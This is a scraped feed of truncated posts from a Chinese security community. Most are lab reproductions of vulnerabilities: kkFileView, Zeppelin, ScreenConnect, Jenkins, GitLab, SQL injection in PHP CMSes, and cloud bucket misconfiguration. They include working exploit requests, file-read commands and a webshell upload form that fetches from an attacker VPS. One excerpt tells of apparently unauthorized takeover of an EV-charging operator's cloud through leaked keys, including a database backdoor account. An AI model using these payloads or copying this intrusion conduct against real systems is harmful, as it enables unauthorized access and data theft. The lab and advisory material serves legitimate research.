Cybersecurity information flow

干净的信息流推送工具,偏向安全圈的点点滴滴,为安全研究人员每日发现优质内容.

了解更多 »

全部节点
时间 节点
2024年4月18日 19:53 火线zone
前言
参加某级单位组织的攻防演练,记录一次从难缠的ueditor上传到内网横向的实战
文件上传
目录扫描扫到的二级目录,确实这个目录很难扫到,并不是传统的ueditor的文件上传目录,看回显似乎可以上传
构造html
<form action="http://xxx.xx.xx.xx:xx/xx/UEditor?action=catchimage"
enctype="multipart/form-data" method="POST">
<p>shell addr: <input type="text" name="source[]" /></p>
<input type="submit" value="Submit"/>
</form>
远程vps起服务
python3 -m http.server 15230
将aspx马另存为jpg,无需图片马,图片马解析报错,事实上服务器只是对response的类型做校验
上传成功
可以发现在第一次访问的时候可以访问,再次刷新404,文件上传成功了一直被杀掉,应该是被杀软杀掉了,接下来就是一系列尝试免杀绕过,乱七八糟的webshell免杀平台都尝试了都被杀软杀掉了。
这个项目还不错
https://github.com/cseroad/Webshell_Generate
上传尝试
成功解析,未被杀掉
连接webshell
查看是被谁家的杀软干掉了
奇安信天擎,干的漂亮。
权限维持
目标可出网,上线CS,进行提权,考虑到这个服务器上的天擎,进程确实是kill不掉的,所以这里上线cs也是需要提权的。
关于CS的免杀可以参考这篇文章
Win下CS免杀技术以及新思路 - 火线 Zone-安全攻防社区 (huoxian.cn)
时间有点儿久了,可以参考一部分tricks
winserver服务器直接土豆提权
提权成功抓取凭证
管理员密码NTLM可解密,解密后发现规律。
隧道搭建
使用FRP的最新版进行隧道,这里的试错成本也挺高的,因为按照平时比较简单的配置,一般使用FRP做穿透的时不选择tls加密,这里配置文件中选择流量走tls加密,其实后来测试了FRP老版本脱壳后也不杀
隧道ok后走socks直接代理到本地3389操作更方便。
远程桌面连接上就是该服务器的工控类的业务。
内网横向
利用抓取到的服务器的密码,密码非一致但有规律,以服务器IP地址结尾,测试了有连接状态的几台服务器,成
2024年4月18日 09:53 火线zone
0x01 组件介绍
kkFileView是一个开源的在线文件预览解决方案,支持多种文件格式。
fofa语法:app="kkFileView"
0x02 漏洞描述
2024年4月,github上公开披露kkFileView 任意文件上传致远程代码执行漏洞,攻击者可构造恶意请求上传恶意文件,并可能造成远程代码执行。
0x03 影响版本
4.2.0 <= kkFileView <= v4.4.0-beta
0x04 环境搭建
0x01 下载
目前这个环境如果需要用现成的话,需要加入kkFileView社区,付费99才能下载。没钱,没舍得付费哈哈哈
不过官方也提供了可直接从源码,自己编译的,我们就采用这个方式自己构建吧
从官方下载对应版本:
https://gitee.com/kekingcn/file-online-preview/releases

下载解压后,在idea中打开,配置好maven后,先双击选择clean,没有报错后,双击选择install,同样没有报错后


即可到刚才的目录下server\target,查看是否已经打包完成

接下来就是放到centos下运行了,把kkFileView-4.3.0.tar.gz传到centos环境下
需要提前安装LibreOffice,否则无法运行
安装过程参考
0x02 访问环境
按照第一步安装的的环境,在浏览器中打开http://192.168.19.153:8012(默认端口都是8012),验证是否成功,出现以下即为成功
0x05 漏洞原理
在v4.2.0版本的更新中,由于前台上传功能在处理压缩包时,从仅获取文件名改为获取文件名及其目录,导致出现了Zip Slip漏洞。这使得攻击者可上传包含恶意代码的压缩包并覆盖系统文件,随后通过调用这些被覆盖的文件实现远程代码执行
0x06 漏洞验证
1.访问站点
2.参考github作者内容,上传恶意安装的压缩包,存在文件遍历,可以直接在相关目录下创建文件
恶意压缩包创建脚本生成,在这里我们使用每次随机的压缩名字,不然每次测试需要重新删除再上传,而且可能出现压缩包上传无效的情况
制作脚本代码:
import zipfile import random if __name__ == "__main__": try: key = random.sample( ['0', '1', '2', '3', '4', '5', '6',
2024年4月15日 13:06 火线zone
介绍
腾讯云 COS(Cloud Object Storage)是一种对象存储服务,支持多种类型的数据存储,包括图片、音视频、文档、压缩包等文件格式,可以帮助个人和企业在云端存储和管理海量数据。
试用
首次开通 COS 的新用户将获得一个免费额度资源包。该免费额度资源包的类型是标准存储容量包,有效期6个月(180天),规格个人用户50 GB 或企业用户1 TB
创建存储桶
私有读写 只有该存储桶的创建者及有授权的账号才对该存储桶中的对象有读写权限,其他任何人对该存储桶中的对象都没有读写权限。存储桶访问权限默认为私有读写,推荐使用。
公有读私有写 任何人(包括匿名访问者)都对该存储桶中的对象有读权限,但只有存储桶创建者及有授权的账号才对该存储桶中的对象有写权限。
公有读写 任何人(包括匿名访问者)都对该存储桶中的对象有读权限和写权限。
创建存储桶的三种权限,OSS和COS是一致的。使用默认配置直至结束,存储桶创建成功
存储桶中上传文件Ggoodstudy1.png
私有读写权限下的状态
https://ggoodstudy-1259393222.cos.ap-nanjing.myqcloud.com/
配置不当导致信息泄露
策略配置读操作(不含List对象)
存储桶无权限访问
策略配置含ListObject
{ "Statement": [ { "Action": [ "name/cos:GetBucket", "name/cos:GetBucketObjectVersions", "name/cos:GetBucketIntelligentTiering", "name/cos:HeadBucket", "name/cos:ListMultipartUploads", "name/cos:ListParts", "name/cos:GetObject", "name/cos:HeadObject", "name/cos:OptionsObject" ], "Effect": "Allow", "Principal": { "qcs": [ "qcs::cam::anyone:anyone" ] }, "Resource": [ "qcs::cos:ap-nanjing:uid/1259393222:ggoodstudy-1259393222/*" ], "Sid": "costs-1710905002000000
2024年4月12日 12:19 火线zone
0x01 组件介绍
Apache Zeppelin 是一个让交互式数据分析变得可行的基于网页的开源框架,Zeppelin提供了数据分析、数据可视化等功能
fofa语法:app="APACHE-Zeppelin"
0x02 漏洞描述
近日官方发布更新披露 CVE-2024-31861 Apache Zeppelin hell 代码注入漏洞,攻击者可利用Zeppelin 中的shell功能执行任意命令。升级后官方默认禁止shell interpreter,该漏洞的CVSS评分为8.9
Apache Zeppelin 安装时默认没有设置用户名密码,所以该漏洞也比较容易利用
0x03 影响版本
0.10.1 <= Apache Zeppelin < 0.11.1
0x04 环境搭建
0x01 下载
这个有docker 环境可以直接使用,所以我们直接使用docker 启动一个漏洞环境即可,选择版本Apache Zeppelin 0.10.1
docker run -d --name zeppelin0.9 -p 8888:8080 apache/zeppelin:0.10.1
0x02 访问环境
按照第一步安装的的环境,在浏览器中打开http://192.168.19.153:8888,验证是否成功,出现以下即为成功
0x05 漏洞原理
由于没有存在未授权,任何人都可以访问攻击者可利用Zeppelin 中的shell功能执行任意命令
0x06 漏洞验证
1.访问站点
2.新建一个笔记本,注意目录格式需要用/xx/xx,默认解释器选择:sh

3.创建完会自动跳转到笔记本内,在笔记本内输入要执行的命令即可,选择run
4.运行结果了
0x07 漏洞影响
通过以上过程,我们可以看到该漏洞危害极大,且该漏洞利用难度也极低,可以执行任意命令,想拿shell就拿shell,这个就不演示了
0x08 修复建议
1.升级版本
新版本下载地址:https://github.com/apache/zeppelin/releases
补丁链接:https://github.com/apache/zeppelin/pull/4708/files

官方修复方式也是直接,直接在新版本中禁用了使用shell作为解释器
2.临时措施:
(1)设置用户名密码,参考:https://www.xgss.net/7120.html
(2)利用安全组设置其仅对
2024年4月9日 17:52 火线zone
0x01 关于京东云OSS
京东云对象存储(OSS,Object Storage Service)是京东自研的存储海量数据的分布式存储服务,可存储音视频、图文等非结构化的海量数据,无容量限制,无格式限制,管理高效便捷,存储成本智能优化。
免费额度
目前没有截止时间,每月只要额度低于标准,新规则出来之前是可以一直试用的。
余额需大于100
不过可设置余额提醒
羊毛还是可以薅的
0x02 创建存储桶
需先创建AK
AccessKey管理创建AK
京东云的AK创建之后SK是可以查看的,这是跟腾讯云COS和阿里OSS不一样的。
进入控制台,Object管理可控制文件管理,上传图片JD1.png,创建文件夹“file”
0x03 Bucket权限配置不当-信息泄露
公有读私有写----目录遍历
当Bucket设置权限公有读私有写时,无访问策略的条件下,访问Bucket的权限为403,但是可导致Bucket文件遍历
可直接读取桶内文件
公有读写----文件上传
任意文件上传
利用Bucket的共有写可直接上传文件,当上传文件为XSS页面,访问桶内数据的用户下载恶意文件,会导致用户的安全风险增加。
文件上传成功
下载完成打开后弹窗
自定义策略----Bucket遍历
当指定策略为可listobject时,可实现存储桶遍历
0x04 AK/SK泄露
当AK/SK泄露时
可直接接管OSS存储桶
OSS利用工具参考
https://github.com/dark-kingA/cloudTools
0x05 谈一谈感受
AK/SK的管理
目前来说阿里云和腾讯云的AK和SK的管理和存储来说相对于JD云来说更加安全,因为京东OSS的SK是可以随时查看。
权限管理
京东云对于存储对象的权限管理操作起来相较阿里云来说比较容易。
策略
对于访问策略的配置来讲,京东云应该是相对于阿里等大厂来说最容易上手的。
0x06 京东云OSS存储利用防护
Bucket 访问权限控制:
可以通过 Bucket 级别的访问控制策略来限制用户的访问权限。可以设置公有 Bucket 或私有 Bucket,并针对不同类型的角色和用户分配不同的 Access Key、Secret Key,从而确保只有授权用户才能访问 Bucket 数据。
用户身份验证:
京东云 OSS 支持基于 IAM 的用户身份验证功能,将访问 Bucket 的用户分组并进行身份验证,增加对 Buc
2024年4月3日 00:23 火线zone
ConnectWise ScreenConnect 身份验证绕过导致RCE(CVE-2024-1709/CVE-2024-1708)
0x01 组件简介
ConnectWise Control(之前称为ScreenConnect)是一款远程支持和远程访问软件,旨在帮助用户远程管理计算机、提供技术支持和进行远程会议,该款软件允许用户自行托管,可以在自己的服务器、个人电脑、虚拟机或虚拟专用服务器上运行。
fofa语法:app="ScreenConnect-Remote-Support-Software"
0x02 漏洞描述
CVE-2024-1709:ConnectWise ScreenConnect身份验证绕过漏洞
ConnectWise ScreenConnect 23.9.7及之前版本存在身份验证绕过漏洞,由于身份验证过程并未针对所有访问路径进行安全防护,威胁者可通过特制请求访问已配置的ScreenConnect实例上的设置向导,从而可以创建新的管理员帐户并使用它来控制ScreenConnect实例,该漏洞的CVSS评分为10.0。
CVE-2024-1708:ConnectWise ScreenConnect目录遍历漏洞
ConnectWise ScreenConnect 23.9.7及之前版本存在目录遍历漏洞,拥有管理员访问权限的威胁者可使用扩展功能,将文件写入ScreenConnect\App_Extensions中的任意位置,某些情况下可能导致代码执行。该漏洞可与CVE-2024-1709组合使用,该漏洞的CVSS评分为8.4。
0x03 影响版本
ScreenConnect <= 23.9.7
0x04 环境搭建
0x01 下载
由于该组件需要收费,尝试了很多办法都无法搭建一个正常的漏洞环境。最后只能尝试搭建一个非完整版的漏洞环境,从官网下载一个版本,低于23.9.8版本的,在这里我选择了23.7.10版本的,其他的版本的也应该可以,自行选择下载,下载地址:https://screenconnect.connectwise.com/download/archive

0x02 安装
下载完,直接安装即可,可自行更改目录,一路按照提示安装即可,安装完在浏览器打开http://ip:8040 默认端口是8040,打开后会进到安装设置向导界面,能打开即为安装成功

但是由于我们没有license(有没有大佬
2024年4月1日 15:32 火线zone
自从火线Zone征稿奖励方案发布后,收到了许多大佬们的优质投稿。为了感谢各位大表哥们的热情支持,我们将3月份投稿文章奖励进行首次公示,希望更多大佬们能够积极在社区内发表原创技术文章,与更多技术专家们共同探讨技术话题。
1月投稿文章公示:
仅统计公示时发稿≥7天的文章,发表时长不足7天的文章在下一周期的统计中公示
2月投稿文章公示:
仅统计公示时发稿≥7天的文章,发表时长不足7天的文章在下一周期的统计中公示

3月投稿文章公示:
仅统计公示时发稿≥7天的文章,发表时长不足7天的文章在下一周期的统计中公示

征稿奖励方案请参见:
https://zone.huoxian.cn/d/2699-zone
奖励发放说明
符合文章激励的内容将会同步对外发表在【火线Zone】公众号上。
每月最后一个周一统一发放本月投稿奖励,如对奖励有异议请及时联系#火线小助手#。
2024年3月20日 12:42 火线zone
介绍
OSS是阿里云提供的对象存储服务(Object Storage Service),其提供了安全、稳定、可扩展、低延迟、低成本的云存储服务。OSS可以支持海量文件的上传和下载,适用于图片、音视频、日志、备份等场景。同时OSS还提供了多种API和工具来方便用户管理和使用对象存储服务。
试用
阿里云OSS业务新用户免费试用,20G三个月。
请求包容量规格20W次
创建Bucket
进入存储桶,上传图片测试
1、AK(AccessKey)、SK(SecretKey)泄露导致权限接管
开启RAM后台登录,创建用户
权限管理新增授权,增加OSS权限
创建AccessKey
当Accesskey ID和AccessKey Secret泄露会导致OSS直接被接管,ECS利用工具可参考:
https://github.com/mrknow001/aliyun-accesskey-Tools
https://github.com/iiiusky/alicloud-tools
ECS的工具相对来说自写比较简单
OSS利用工具参考
https://github.com/dark-kingA/cloudTools
CF工具,目前github项目地址已删除,部分星球和公众号还有
设置之后直接登录即可
获取到存储桶的控制权限。
实战中的泄露一般大概率可以关注的点而在于
小程序APPID和SK的泄露接管小程序
Nacos中的配置文件的泄露
Spring框架AK和SK的泄露
等
2、配置不当导致的Bucket信息泄露
私有状态下访问存储桶,因为此时上传图片的时候选择状态是继承Bucket
继承Bucket是指在创建一个新的Bucket时,可以选择将其设置为已存在Bucket的子Bucket。这样,新创建的Bucket将继承父Bucket中存储空间的访问权限和生命周期规则等属性。同时,父Bucket也可以对子Bucket进行一些授权管理,如授予/撤销访问权限,设置防盗链规则等。
继承Bucket的主要优势在于可以实现Bucket之间共享配置,避免重复设置,提高管理效率。此外,对于需要严格控制访问权限的应用场景,继承Bucket还可以降低安全风险,避免因手误或配置错误导致的数据泄露等问题。
当前无权限。当选择公共读
设置新增Bucket策略
当操作不包含ListObject操作的时候是无访问存储桶数据Contents
当操作包含ListObje
2024年3月13日 14:01 火线zone
火线Zone是由火线安全平台打造的安全技术专家聚集和交流的社区,旨在推动数智时代的安全生态。
通过火线Zone内容社区、火线技术沙龙等形式,为技术专家提供最前沿的技术分享和交流。目前,火线Zone社区成员已超过20000人的规模,其中不乏来自腾讯、华为、Gitlab、绿盟、去哪儿等知名企业的CTO、CISO、安全VP、安全技术专家等,通过社群和活动讨论交流安全攻防、黑客溯源、企业安全管理、安全运营、软件应用安全、云计算安全等方向技术话题。
截止目前,火线Zone累计举办公开的技术交流活动27场(点击查看)、技术内容超过2000篇、10余个城市举办线下交流活动,全方位促进社区成员与企业之间的学习、交流与合作,为安全从业者提供全新思路,共同探讨行业未来发展之路。
在这里,我们重视每一位成员的声音!火线Zone现在诚挚邀请您加入我们的数智安全社区,分享自己经验,和大咖共探数智安全未来。
投稿须知
欢迎您向火线Zone投稿,分享您的知识和经验。为了确保您的稿件能够顺利通过审核并发表,请您仔细阅读以下投稿指南:
投稿文章内容方向包括并不仅限于以下方向:
应用安全:当年最新的漏洞分析、安全预警及最新的测试技巧,并具备广泛影响性。
APP安全:针对APP、小程序的实战对抗、逆向分析、隐私合规等实战评估及测试方法论内容。
AIOT安全:针对可穿戴设备、安防设备、智能家居、汽车、工业设备等硬件设备的逆向分析、漏洞挖掘的实战评估和测试方法论内容
黑客事件:针对DDOS、勒索病毒、APT攻击等实战黑客攻击的完整事件溯源分析以及威胁分析的方法论。
红队攻防:针对中大型企业的真实攻防案例,具备防御机制绕过、内网横向、公有云横向等环节内容
安全运营:针对基础安全、开发安全、办公网安全、安全托管运营等安全运营方向的实战落地内容
其他:前沿领域安全研究,如大模型安全、AI应用安全等
希望你的文章质量满足以下要求:
提供深入的分析和独到见解,揭示未公开的新内容。
全面总结某一领域知识,可作为参考手册。
确保内容已授权且完全脱敏,遵守法律法规,不涉及非法安全测试。
文章篇幅需要符合深度分析的篇幅要求,具体篇幅长度视内容类型审核
审核流程说明:
投稿后,若15天内未收到发表通知,您可自行决定是否向其他平台投稿。我们反对一稿多投,一经发现,将不予审核通过。
火线Zone不提供稿件退回服务,请作者自行备份原稿。
对于非原创、抄袭、洗稿或未遵守转载规则的稿
2024年3月11日 19:02 火线zone
欢迎来到火线Zone - 两万余名技术专家的家园🌍
火线Zone是由火线安全平台打造的安全技术专家聚集和交流的社区,旨在推动数智时代的安全生态。
通过火线Zone内容社区、火线技术沙龙等形式,为技术专家和管理提供最前沿的技术分享和交流。目前,火线Zone社区成员已超过20000人的规模,其中不乏来自腾讯、华为、Gitlab、绿盟、去哪儿等知名企业的CTO、CISO、安全VP、安全技术专家等,通过社群和活动讨论交流企业安全管理、安全运营、软件应用安全、云计算安全等方向技术话题。
截止目前,火线Zone累计举办公开的技术交流活动27场(点击查看)、技术内容超过2000篇、10余个城市举办线下交流活动,全方位促进社区成员与企业之间的学习、交流与合作,为安全从业者提供全新思路,共同探讨行业未来发展之路。
在这里,我们重视每一位成员的声音!火线Zone现在诚挚邀请您加入我们的数智安全社区,分享自己经验,和大咖共探数智安全未来。
投稿须知
欢迎您向火线Zone投稿,分享您的知识和经验。为了确保您的稿件能够顺利通过审核并发表,请您仔细阅读以下投稿指南:
投稿文章内容方向包括并不仅限于以下方向:
应用安全:当年最新的漏洞分析、安全预警及最新的测试技巧,并具备广泛影响性。
APP安全:针对APP、小程序的实战对抗、逆向分析、隐私合规等实战评估及测试方法论内容。
AIOT安全:针对可穿戴设备、安防设备、智能家居、汽车、工业设备等硬件设备的逆向分析、漏洞挖掘的实战评估和测试方法论内容
黑客事件:针对DDOS、勒索病毒、APT攻击等实战黑客攻击的完整事件溯源分析以及威胁分析的方法论。
红队攻防:针对中大型企业的真实攻防案例,具备防御机制绕过、内网横向、公有云横向等环节内容
安全运营:针对基础安全、开发安全、办公网安全、安全托管运营等安全运营方向的实战落地内容
其他:前沿领域安全研究,如大模型安全、AI应用安全等
希望你的文章质量满足以下要求:
提供深入的分析和独到见解,揭示未公开的新内容。
全面总结某一领域知识,可作为参考手册。
确保内容已授权且完全脱敏,遵守法律法规,不涉及非法安全测试。
审核流程说明:
投稿后,若15天内未收到发表通知,您可自行决定是否向其他平台投稿。我们反对一稿多投,一经发现,将不予审核通过。
火线Zone不提供稿件退回服务,请作者自行备份原稿。
对于非原创、抄袭、洗稿或未遵守转载规则的稿件,我们将进行删除处理,并
2024年3月11日 18:33 火线zone
关于
火线Zone是由火线安全平台打造的安全技术专家聚集和交流的社区,旨在推动数智时代的安全生态。
通过火线Zone内容社区、火线技术沙龙、城市分会模式,为技术专家和管理提供最前沿的技术分享和交流。目前,火线Zone社区成员已超过20000人的规模,其中不乏来自腾讯、华为、Gitlab、绿盟、去哪儿等知名企业的CTO、CISO、安全VP、安全技术专家等,通过社群和活动讨论交流企业安全管理、安全运营、软件应用安全、云计算安全等方向技术话题。
截止目前,火线Zone累计举办公开的技术交流活动27场(点击查看)、技术内容超过2000篇、10余个城市举办线下交流活动,全方位促进社区成员与企业之间的学习、交流与合作,为安全从业者提供全新思路,共同探讨行业未来发展之路。
在这里,我们重视每一位成员的声音!火线Zone现在诚挚邀请您加入我们的数智安全社区,分享自己经验,和大咖共探数智安全未来。
投稿须知
欢迎您向火线Zone投稿,分享您的知识和经验。为了确保您的稿件能够顺利通过审核并发表,请您仔细阅读以下投稿指南:
投稿文章内容方向包括并不仅限于以下方向:
应用安全:当年最新的漏洞分析、安全预警及最新的测试技巧,并具备广泛影响性。
APP安全:针对APP、小程序的实战对抗、逆向分析、隐私合规等实战评估及测试方法论内容。
AIOT安全:针对可穿戴设备、安防设备、智能家居、汽车、工业设备等硬件设备的逆向分析、漏洞挖掘的实战评估和测试方法论内容
黑客事件:针对DDOS、勒索病毒、APT攻击等实战黑客攻击的完整事件溯源分析以及威胁分析的方法论。
红队攻防:针对中大型企业的真实攻防案例,具备防御机制绕过、内网横向、公有云横向等环节内容
安全运营:针对基础安全、开发安全、办公网安全、安全托管运营等安全运营方向的实战落地内容
希望你的文章质量满足以下要求:
提供深入的分析和独到见解,揭示未公开的新内容。
全面总结某一领域知识,可作为参考手册。
确保内容已授权且完全脱敏,遵守法律法规,不涉及非法安全测试。
审核流程说明:
投稿后,若15天内未收到发表通知,您可自行决定是否向其他平台投稿。我们反对一稿多投,一经发现,将不予审核通过。
火线Zone不提供稿件退回服务,请作者自行备份原稿。
对于非原创、抄袭、洗稿或未遵守转载规则的稿件,我们将进行删除处理,并取消任何奖励,同时发布违规公告。
如何投稿
在线投稿
(注:为方便查看稿件审阅进度,请优先选
2024年3月11日 16:02 火线zone
前言
审计的比较早了,目前还没有人对这个小众的CMS做过审计,正好最近在写工具,工具的一小块儿用来实现这种小众CMS的注入挖掘还是蛮简单的。
介绍
Complaint_ management_system(投诉管理系统)是一款使用PHP语言开发的一ID生成器管理系统,是一款基于代码生成器的低代码开发平台!基于apahhe、php和mysql运行,既能快速提高效率,节省研发成本,同时又不失灵活性!
环境
Apache 2.4 mysql5.7
下载源码后,导入数据库
启动业务
http://127.0.0.1:10010/
审计
启动KeySearchScan扫描代码文件中可能存在的漏洞点,代码分析以及追踪需要自己判断
# -*- coding: utf-8 -*- import os import fileinput import re def search_files_content(path): keywords = { 'select': 'SQL注入漏洞', 'upload': '文件上传漏洞', 'exec': '命令执行' } result_dict = {vul_type: [] for vul_type in set(keywords.values())} for root, dirs, files in os.walk(path): for file in files: if file.endswith('.php'): # 判断是否为php文件 filepath = os.path.join(root, file) with fileinput.input(filepath, inplace=False) as f: lineno = 0 for line in f: lineno += 1 for keyword, vul_type in keywords.items(): if re.search(keyword, line): output_str = f"{filepath}:{lineno} {line}" result_dict[vul_type].append(output_str) # 将结果写入文件 with open('1.txt', 'w') as f: for vul_type, result in result_dict.items(): if len(result)
2024年2月28日 17:13 火线zone
0x01 资产收集
周末下楼去给电车充电看到个二维码

跳转小程序配置好proxifier

History发现了一个子域名接口

一眼Spring-boot

访问swagger-resources找到一些接口,发现message/v2/api-docs 构造message/actuator/env读取到了env
看到有AK/SK,利用heapdump工具脱敏

0x02 打点
也有mysql、redis密码泄露但是做了白名单
小Tips:比如阿里云的库就可以使用阿里云的vps去连接有可能bypass但是我这次没有成功
利用cf直接接管阿里云


0x03 到这已经拿下供应链
目的是目标机,找一下目标的实例跟数据库
翻到域名解析记录
找到ecs实例

我的需求是当前ecs的绑定数据库是哪个,如果装了云助手可以直接免密登录
find / -name "index.html" 找到Web目录 /etc/nginx/www
看来看去发现不对劲这台ecs只放了前端的东西,猜测是ecs1 ->通过nginx反向代理 -> ecs2
他这做的是CLB,在env找到私有地址以及公网地址

已知CLB的ip找真实后端ip,clb->实例管理>监听>对应端口>服务器组
443绑定的后端服务器是k8s

http://cs.console.aliyun.com/ 拿着凭证去这登录管理
没权限

查看绑定数据库,数据库添加账号,去数据库看一眼下线。
记得删除后门账号

参考文章:
https://blog.csdn.net/qq_45170890/article/details/134195520
2024年2月21日 11:02 火线zone
系统简介
User Registration & Login and User Management System With admin panel用户管理系统是由PHPGurukul使用PHP语言开发的管理系统。
影响版本
<=V3.1
配置CMS
环境
phpstudy->apache->mysql5.0
php=8.0.2 (php版本必须大于8)
安装
下载源码,导入数据库,创建数据库“loginsystem”,导入源码中的sql文件。默认用户名以及密码为
admin/Test@12345
http://127.0.0.1:10004/loginsystem/admin/
代码审计
SQL注入1

注入点在用户名admin'#/0可实现登录
POC如下
POST /loginsystem/admin/ HTTP/1.1 Host: 127.0.0.1:10004 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 35 Origin: http://127.0.0.1:10004 Connection: close Referer: http://127.0.0.1:10004/loginsystem/admin/ Cookie: PHPSESSID=c30hbjlugt0qgd4a3lebmhmd71 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 
2024年2月9日 00:02 火线zone
简介
PHP-Travel-Agency-System是一款使用PHP语言开发的一款旅游信息管理系统,是一款基于代码生成器的低代码开发平台!基于apahhe、php和mysql运行,既能快速提高效率,节省研发成本,同时又不失灵活性!
影响版本
<=V1.0
配置CMS
环境
phpstudy->apache->mysql5.0
php=8.0.2 (php版本必须大于8)
安装
下载源码
导入数据库

启动服务,直接运行即可
http://127.0.0.1:10005
代码审计
SQL注入1
php-travel-agency-system-master/traceapplication.php中 41行
41行代码将37行前端传入的参数直接品接近拼接进了变量qry中,在42行的时候直接执行了sql语句导致了注入产生。
使用1' order by 32# 测试出该字段为32,在33时报错
报错
EXP如下
POST /traceapplication.php HTTP/1.1 Host: 127.0.0.1:10005 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 171 Origin: http://127.0.0.1:10005 Connection: close Referer: http://127.0.0.1:10005/traceapplication.php Cookie: PHPSESSID=iueqknaoiouaimkuik3i4cu3b5 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: d
2024年1月30日 17:17 火线zone
漏洞简介
Jenkins有一个内置的命令行界面(CLI),可从脚本或shell环境访问Jenkins。处理CLI命令时,Jenkins使用args4j库解析Jenkins控制器上的命令参数和选项。由于Jenkins受影响版本中默认启用其CLI命令解析器的一个功能,特定的解析器功能expandAtFiles可将@参数中后跟文件路径的字符替换为文件内容,可能导致威胁者读取Jenkins控制器文件系统上的任意文件,或可以进一步利用该漏洞在多种情况下导致远程代码执行。
命令行接口文件读取: Jenkins内置的命令行接口(CLI)存在一个特性,允许在命令参数中用@字符后跟文件路径来替换为文件内容。这导致攻击者能够读取Jenkins控制器文件系统上的任意文件。
权限绕过: 拥有Overall/Read权限的攻击者可以读取完整文件,而没有该权限的攻击者也可以读取部分文件内容。
version <\= Jenkins 2.441
version <\= LTS 2.426.2
‍
环境搭建
利用 docker 来进行环境搭建 https://hub.docker.com/r/jenkins/jenkins/tags
docker pull jenkins/jenkins:2.440-jdk17 docker run --name jenkins -p 8090:8080 jenkins/jenkins:2.440-jdk17
漏洞复现
访问路径 http://127.0.0.1:8090/cli/?remoting=false 下载 jenkins-cli.jar

java -jar jenkins-cli.jar -s http://127.0.0.1:8090/ who-am-i "@/var/jenkins_home/secrets/master.key"
java -jar jenkins-cli.jar -s http://127.0.0.1:8090/ help "@/etc/passwd" java -jar jenkins-cli.jar -s http://127.0.0.1:8090/ who-am-i "@/etc/passwd"
‍
漏洞分析
比较版本差异性
https://github.com/jenkinsci/jenkins/compare/jenkins-2.441...jenkins-2.4
2024年1月25日 01:07 火线zone
漏洞简介
Apache Commons Text 执行变量插值 (variable interpolation), 允许动态评估和扩展属性。插值的标准格式是"${prefix:name}" ,其中 "prefix" 用于查找定位执行插值 org.apache.commons.text.lookup.StringLookup 的实例。从 1.5 版到 1.9 版,默认的 Lookup 实例集包括可能导致任意代码执行或与远程服务器联系的插值器。
"script" - execute expressions using the JVM script execution engine (javax.script) 使用 JVM 脚本执行引擎(javax.script)执行表达式
"dns" - resolve dns records 解析 dns 记录
"url" - load values from urls, including from remote servers 从 url 加载值,包括从远程服务加载值
如果使用了不受信任的配置值,则在受影响版本中使用插值默认值的应用程序可能受到远程代码执行的影响。
‍
漏洞分析
利用 jar-analyzer 来对漏洞进行分析 https://github.com/jar-analyzer/jar-analyzer
Jar Analyzer 是一个分析 Jar 文件的 GUI 工具:
支持大 Jar 以及批量 Jars 分析
方便地搜索方法之间的调用关系
分析 LDC 指令定位 Jar 中的字符串
一键分析 Spring Controller/Mapping
对于方法字节码和指令的高级分析
一键反编译,优化对内部类的处理
一键生成方法的 CFG 分析结果
一键生成方法的 Stack Frame 分析结果
远程分析 Tomcat 中的 Servlet 等组件
自定义 SQL 语句进行高级分析
支持运行基于 Java 的脚本语言 Y4 Lang
‍
下载 jar-analyzer 最新版本,为了方便运行,下载包含集成环境的版本
https://github.com/jar-analyzer/jar-analyzer/releases/download/2.9/jar-analyzer-2.9-windows-embed.zip
同时下载存在漏洞的组件 jar 包 https://
2024年1月19日 13:01 火线zone
漏洞简介
2024年1月11日,Gitlab 官方披露 CVE-2023-7028,GitLab 任意用户密码重置漏洞,官方评级严重。攻击者可利用忘记密码功能,构造恶意请求获取密码重置链接从而重置密码。官方已发布安全更新,建议升级至最新版本,若无法升级,建议利用安全组功能设置Gitlab 仅对可信地址开放。
影响版本
16.1 <= GitLab CE/EE < 16.1.5 16.2 <= GitLab CE/EE < 16.2.8 16.3 <= GitLab CE/EE < 16.3.6 16.4 <= GitLab CE/EE < 16.4.4 16.5 <= GitLab CE/EE < 16.5.6 16.6 <= GitLab CE/EE < 16.6.4 16.7 <= GitLab CE/EE < 16.7.2
在漏洞版本范围内的 GitLab 开启 邮箱登录认证,就可以利用内置用户 admin@example.com 重置该密码实现登录
环境搭建
wget https://mirror.tuna.tsinghua.edu.cn/gitlab-ce/yum/el7/gitlab-ce-16.1.1-ce.0.el7.x86_64.rpm #下载gitlab-ce yum localinstall gitlab-ce-16.1.1-ce.0.el7.x86_64.rpm -y vim /etc/gitlab/gitlab.rb # 修改配置文件 修改 external_url 为对应ip gitlab-ctl reconfigure # 生效配置代码 gitlab-ctl status # 查看服务运行状态 systemctl stop firewalld # 关闭防火墙 firewall-cmd --state # 查看防火墙状态 cat /etc/gitlab/initial_root_password # 查看初始密码
‍
漏洞出现在忘记密码时发送邮件,所以我们需要进行邮箱配置
vim /etc/gitlab/gitlab.rb
gitlab_rails['smtp_enable'] = true # 开启邮件配置 gitlab_rails['smtp_address'] = "smtp.qq.com" # 修改为对应的邮箱服务器域名 gitlab_rails['smtp_port'] = 
2024年1月15日 11:31 火线zone
产品描述
Online-ID-Generator system是一款使用PHP语言开发的一ID生成器管理系统,是一款基于代码生成器的低代码开发平台!基于apahhe、php和mysql运行,既能快速提高效率,节省研发成本,同时又不失灵活性!Online-ID-Generator system 存在文件上传漏洞,攻击者通过文件上传获取服务器控制权限。
配置CMS
环境
phpstudy->apache->mysql5.0
php=7.3.4
下载源码。创建数据库,加载sql文件
